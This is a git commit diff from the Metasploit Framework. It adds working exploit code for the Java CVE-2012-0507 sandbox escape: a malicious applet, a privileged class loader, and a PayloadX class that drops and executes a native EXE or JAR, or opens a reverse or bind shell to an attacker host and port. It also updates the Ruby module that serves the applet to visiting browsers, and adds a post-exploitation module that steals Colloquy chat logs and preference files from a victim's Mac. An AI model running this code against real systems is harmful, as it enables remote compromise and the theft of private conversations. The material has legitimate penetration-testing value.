Merge remote branch 'upstream/master'

unstable
James Lee 2012-03-30 14:31:12 -06:00
commit cc54a260f5
7 changed files with 444 additions and 90 deletions

BIN
data/exploits/CVE-2012-0507.jar Normal file → Executable file

Binary file not shown.

View File

@ -1,58 +0,0 @@
package a;
import java.applet.Applet;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.concurrent.atomic.AtomicReferenceArray;
import a.*;
// Referenced classes of package a:
// Help
public class Exploit extends Applet
{
public Exploit()
{
}
public static byte[] StringToBytes(String s)
{
byte abyte0[] = new byte[s.length() / 2];
for(int i = 0; i < s.length(); i += 2)
abyte0[i / 2] = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
return abyte0;
}
public void init()
{
try
{
String as[] = {
"ACED0005757200135B4C6A6176612E6C616E672E4F62", "6A6563743B90CE589F1073296C020000787000000002", "757200095B4C612E48656C703BFE2C941188B6E5FF02", "000078700000000170737200306A6176612E7574696C", "2E636F6E63757272656E742E61746F6D69632E41746F", "6D69635265666572656E63654172726179A9D2DEA1BE", "65600C0200015B000561727261797400135B4C6A6176", "612F6C616E672F4F626A6563743B787071007E0003"
};
StringBuilder stringbuilder = new StringBuilder();
for(int i = 0; i < as.length; i++)
stringbuilder.append(as[i]);
ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(StringToBytes(stringbuilder.toString())));
Object aobj[] = (Object[])(Object[])objectinputstream.readObject();
Help ahelp[] = (Help[])(Help[])aobj[0];
AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray)aobj[1];
ClassLoader classloader = getClass().getClassLoader();
atomicreferencearray.set(0, classloader);
Help _tmp = ahelp[0];
String data = getParameter( "data" );
String jar = getParameter( "jar" );
String lhost = getParameter( "lhost" );
String lport = getParameter( "lport" );
System.out.println("go go go");
Help.doWork(ahelp[0], this, data, jar, lhost, ( lport == null ? 4444 : Integer.parseInt( lport ) ));
}
catch(Exception exception) {
System.out.println(exception.getMessage());
}
}
}

View File

@ -0,0 +1,53 @@
package msf.x;
import java.applet.Applet;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.concurrent.atomic.AtomicReferenceArray;
public class Exploit extends Applet
{
public Exploit() {}
public void init()
{
try
{
byte[] buf = new byte[] {
-84,-19,0,5,117,114,0,19,91,76,106,97,118,97,46,108,97,110,103,46,79,98,106,
101,99,116,59,-112,-50,88,-97,16,115,41,108,2,0,0,120,112,0,0,0,2,117,114,0,
13,91,76,109,115,102,46,120,46,72,101,108,112,59,-2,44,-108,17,-120,-74,-27,
-1,2,0,0,120,112,0,0,0,1,112,115,114,0,48,106,97,118,97,46,117,116,105,108,
46,99,111,110,99,117,114,114,101,110,116,46,97,116,111,109,105,99,46,65,116,
111,109,105,99,82,101,102,101,114,101,110,99,101,65,114,114,97,121,-87,-46,
-34,-95,-66,101,96,12,2,0,1,91,0,5,97,114,114,97,121,116,0,19,91,76,106,97,
118,97,47,108,97,110,103,47,79,98,106,101,99,116,59,120,112,113,0,126,0,3
};
ObjectInputStream objectinputstream = new ObjectInputStream(new ByteArrayInputStream(buf));
Object aobj[] = (Object[])objectinputstream.readObject();
Help ahelp[] = (Help[]) aobj[0];
AtomicReferenceArray atomicreferencearray = (AtomicReferenceArray) aobj[1];
ClassLoader classloader = getClass().getClassLoader();
atomicreferencearray.set(0, classloader);
Help _tmp = ahelp[0];
String data = getParameter( "data" );
String jar = getParameter( "jar" );
String lhost = getParameter( "lhost" );
String lport = getParameter( "lport" );
Help.doWork(ahelp[0], this, data, jar, lhost, ( lport == null ? 4444 : Integer.parseInt( lport ) ));
}
catch(Exception exception) {
//System.out.println(exception.getMessage());
}
}
}
/*
javac -d bin msf/x/*.java
cd bin
jar cvf ../CVE-2012-0507.jar msf/x/*.class
*/

View File

@ -1,4 +1,4 @@
package a;
package msf.x;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
@ -16,11 +16,11 @@ import java.lang.reflect.Field;
public class Help extends ClassLoader implements Serializable{
public static void doWork(Help h, Exploit expl, String data, String jar, String lhost, int lport) {
String classNames[] = { "msf.x.PayloadX$StreamConnector", "msf.x.PayloadX" };
String classPaths[] = { "/msf/x/PayloadX$StreamConnector.class", "/msf/x/PayloadX.class" };
Class cls = null;
try
{
for( int index=0 ; index<classNames.length ; index++ )
@ -32,26 +32,22 @@ public class Help extends ClassLoader implements Serializable{
// read in the class file from the jar
InputStream is = expl.getClass().getResourceAsStream( classPaths[index] );
// and write it out to the byte array stream
while( ( length = is.read( buffer ) ) > 0 )
bos.write( buffer, 0, length );
// convert it to a simple byte array
buffer = bos.toByteArray();
URL url = new URL( "file:///" );
Certificate[] certs = new Certificate[0];
Permissions perm = new Permissions();
perm.add( new AllPermission() );
ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm );
cls = h.defineClass( classNames[index], buffer, 0, buffer.length, pd );
Class class_cls = cls.getClass();
System.out.println("The type of the object is: " + class_cls.getName());
}
// cls will end up being the PayloadX class
if( cls != null )
{
@ -60,23 +56,22 @@ public class Help extends ClassLoader implements Serializable{
Field payload_jar = cls.getField( "jar" );
Field payload_lhost = cls.getField( "lhost" );
Field payload_lport = cls.getField( "lport" );
// instantiate the PayloadX object once so as we can set the native payload data
Object obj = cls.newInstance();
// set the native payload data, lhost and lport
payload_data.set( obj, data );
payload_jar.set( obj, jar );
payload_lhost.set( obj, lhost );
payload_lport.setInt( obj, lport );
// instantiate a second PayloadX object to perform the actual payload
// instantiate a second PayloadX object to perform the actual payload
obj = cls.newInstance();
}
}
catch( Exception e ) {
System.out.println(e.getMessage());
}
//System.out.println(e.getMessage());
}
}
}

View File

@ -0,0 +1,193 @@
package msf.x;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.security.AccessController;
import java.security.PrivilegedExceptionAction;
public class PayloadX implements PrivilegedExceptionAction
{
// This will contain a hex string of the native payload to drop and execute.
public static String data = null;
public static String jar = null;
// If no native payload is set we get either a java bind shell or a java
// reverse shell.
public static String lhost = null;
public static int lport = 4444;
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( is ) );
out = new BufferedWriter( new OutputStreamWriter( os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
}
catch( Exception e ) {}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
}
catch( Exception e ) {}
}
}
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
public static byte[] StringToBytes( String s )
{
byte[] data = new byte[s.length() / 2];
for( int i = 0 ; i < s.length() ; i += 2 )
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );
return data;
}
public Object run() throws Exception
{
//System.out.println("Running");
// if the native payload data has not been set just return for now, it
// will be set by the next time we reach here.
if( PayloadX.data == null && PayloadX.jar == null )
return null;
//System.out.println("have either data or jar");
try
{
String os = System.getProperty( "os.name" );
//System.out.println("OS: " + os);
// if we have no native payload to drop and execute we default to
// either a TCP bind or reverse shell.
if( PayloadX.data != null && PayloadX.data.length() == 0 && PayloadX.jar.length() == 0 )
{
//System.out.println("no, exe/jar. Doing shell");
Socket client_socket = null;
String shell = "/bin/sh";
if( os.indexOf( "Windows" ) >= 0 )
shell = "cmd.exe";
if( PayloadX.lhost == null )
{
ServerSocket server_socket = new ServerSocket( PayloadX.lport );
client_socket = server_socket.accept();
}
else
{
client_socket = new Socket( PayloadX.lhost, PayloadX.lport );
}
if( client_socket != null )
{
Process process = exec( shell );
if( process != null )
{
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
}
}
}
else if( PayloadX.jar != null && (PayloadX.jar.length() != 0) )
{
//System.out.println("Dropping JAR");
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".jar";
writeFile( path, StringToBytes( PayloadX.jar ) );
exec( "java -jar " + path + " " + PayloadX.lhost + " " + PayloadX.lport + " true");
}
else
{
//System.out.println("Dropping EXE");
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".exe";
writeFile( path, StringToBytes( PayloadX.data ) );
if( os.indexOf( "Windows" ) < 0 )
{
exec( "chmod 755 " + path );
}
exec( path );
new File( path ).delete();
}
}
catch( Exception e ) {
//System.out.println(e);
}
return null;
}
public Process exec( String path )
{
Process p = null;
//System.out.println( "Executing" );
try {
p = Runtime.getRuntime().exec( path );
if( p == null )
{
//System.out.println( "Null process, crap" );
}
p.waitFor();
} catch( Exception e ) {
//System.out.println(e);
}
return p;
}
public void writeFile( String path, byte[] data )
{
//System.out.println( "Writing file" );
try {
FileOutputStream fos = new FileOutputStream( path );
fos.write( data );
fos.close();
} catch( Exception e ) {
//System.out.println(e);
}
}
public PayloadX()
{
try
{
AccessController.doPrivileged( this );
}
catch( Exception e ) {
//System.out.println(e);
}
}
}

View File

@ -18,33 +18,34 @@ class Metasploit3 < Msf::Exploit::Remote
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',
'Description' => %q{
'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',
'Description' => %q{
This module exploits a vulnerability due to the fact that
AtomicReferenceArray uses the Unsafe class to store a reference in an
array directly, which may violate type safety if not used properly.
This allows a way to escape the JRE sandbox, and load additional classes
in order to perform malicious operations.
},
'License' => MSF_LICENSE,
'Author' =>
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r', # metasploit module
'juan vazquez' # metasploit module
'sinn3r', # metasploit module
'juan vazquez', # metasploit module
'egypt' # special assistance
],
'References' =>
[
['CVE', '2012-0507'],
['OSVDB', '80724'],
['BID', '52161'],
['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],
['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507']
],
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
@ -95,9 +96,9 @@ class Metasploit3 < Msf::Exploit::Remote
def on_request_uri( cli, request )
data = nil
host = nil
port = nil
data = ""
host = ""
port = ""
peer = "#{cli.peerhost}:#{cli.peerport}"
if not request.uri.match(/\.jar$/i)
@ -151,16 +152,18 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
print_status( "#{peer} - sending jar to ..." )
print_status( "#{peer} - sending jar..." )
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html( data, jar, host, port )
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"Applet.jar\" code=\"a.Exploit.class\" width=\"1\" height=\"1\">"
html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"
html += "<param name=\"data\" value=\"#{data}\"/>" if data
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host

View File

@ -0,0 +1,168 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post
include Msf::Post::Common
include Msf::Post::File
def initialize(info={})
super(update_info(info,
'Name' => 'OSX Gather Colloquy Enumeration',
'Description' => %q{
This module will collect Colloquy's info plist file and chat logs from the
victim's machine. There are three actions you may choose: INFO, CHATS, and
ALL. Please note that the CHAT action may take a long time depending on the
victim machine, therefore we suggest to set the regex 'PATTERN' option in order
to search for certain log names (which consists of the contact's name, and a
timestamp). The default 'PATTERN' is configured as "^alien" as an example
to search for any chat logs associated with the name "alien".
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
'Platform' => [ 'osx' ],
'SessionTypes' => [ "shell" ],
'Actions' =>
[
['ACCOUNTS', { 'Description' => 'Collect the preferences plists' } ],
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
['ALL', { 'Description' => 'Collect both the plists and chat logs'}]
],
'DefaultAction' => 'ALL'
))
register_options(
[
OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '^alien']),
], self.class)
end
#
# Parse a plst file to XML format:
# http://hints.macworld.com/article.php?story=20050430105126392
#
def plutil(filename)
exec("plutil -convert xml1 #{filename}")
data = exec("cat #{filename}")
return data
end
def get_chatlogs(base)
chats = []
# Get all the logs
print_status("#{@peer} - Download logs...")
folders = dir("\"#{base}\"")
folders.each do |f|
# Get all the transcripts from this folder
trans = exec("find \"#{base}#{f}\" -name *.colloquyTranscript")
trans.split("\n").each do |t|
fname = ::File.basename(t)
# Check fname before downloading it
next if fname !~ datastore['PATTERN']
print_status("#{@peer} - Downloading #{t}")
content = exec("cat \"#{t}\"")
chats << {:log_name => fname, :content => content}
end
end
return chats
end
def get_preferences(path)
raw_plist = exec("cat #{path}")
return nil if raw_plist =~ /No such file or directory/
xml_plist = plutil(path)
return xml_plist
end
def save(type, data)
case type
when :preferences
p = store_loot(
'colloquy.preferences',
'text/plain',
session,
data,
"info.colloquy.plist"
)
print_good("#{@peer} - info.colloquy.plist saved as: #{p}")
when :chatlogs
data.each do |d|
log_name = d[:log_name]
content = d[:content]
p = store_loot(
'colloquy.chatlogs',
'text/plain',
session,
content,
log_name
)
print_good("#{@peer} - #{log_name} stored in #{p}")
end
end
end
def whoami
exec("/usr/bin/whoami")
end
def dir(path)
subdirs = exec("ls -l #{path}")
return [] if subdirs =~ /No such file or directory/
items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten
return items
end
def exec(cmd)
begin
out = cmd_exec(cmd).chomp
rescue ::Timeout::Error => e
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
rescue EOFError => e
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
end
def run
if action.nil?
print_error("Please specify an action")
return
end
@peer = "#{session.session_host}:#{session.session_port}"
user = whoami
transcripts_path = "/Users/#{user}/Documents/Colloquy Transcripts/"
prefs_path = "/Users/#{user}/Library/Preferences/info.colloquy.plist"
prefs = get_preferences(prefs_path) if action.name =~ /ALL|ACCOUNTS/i
chatlogs = get_chatlogs(transcripts_path) if action.name =~ /ALL|CHATS/i
save(:preferences, prefs) if not prefs.nil? and not prefs.empty?
save(:chatlogs, chatlogs) if not chatlogs.nil? and not chatlogs.empty?
end
end
=begin
/Users/[user]/Documents/Colloquy Transcripts
/Users/[user]/Library/Preferences/info.colloquy.plist
Transcript example:
/Users/[username]/Documents/Colloquy Transcripts//[server]/[contact] 10-13-11.colloquyTranscript
=end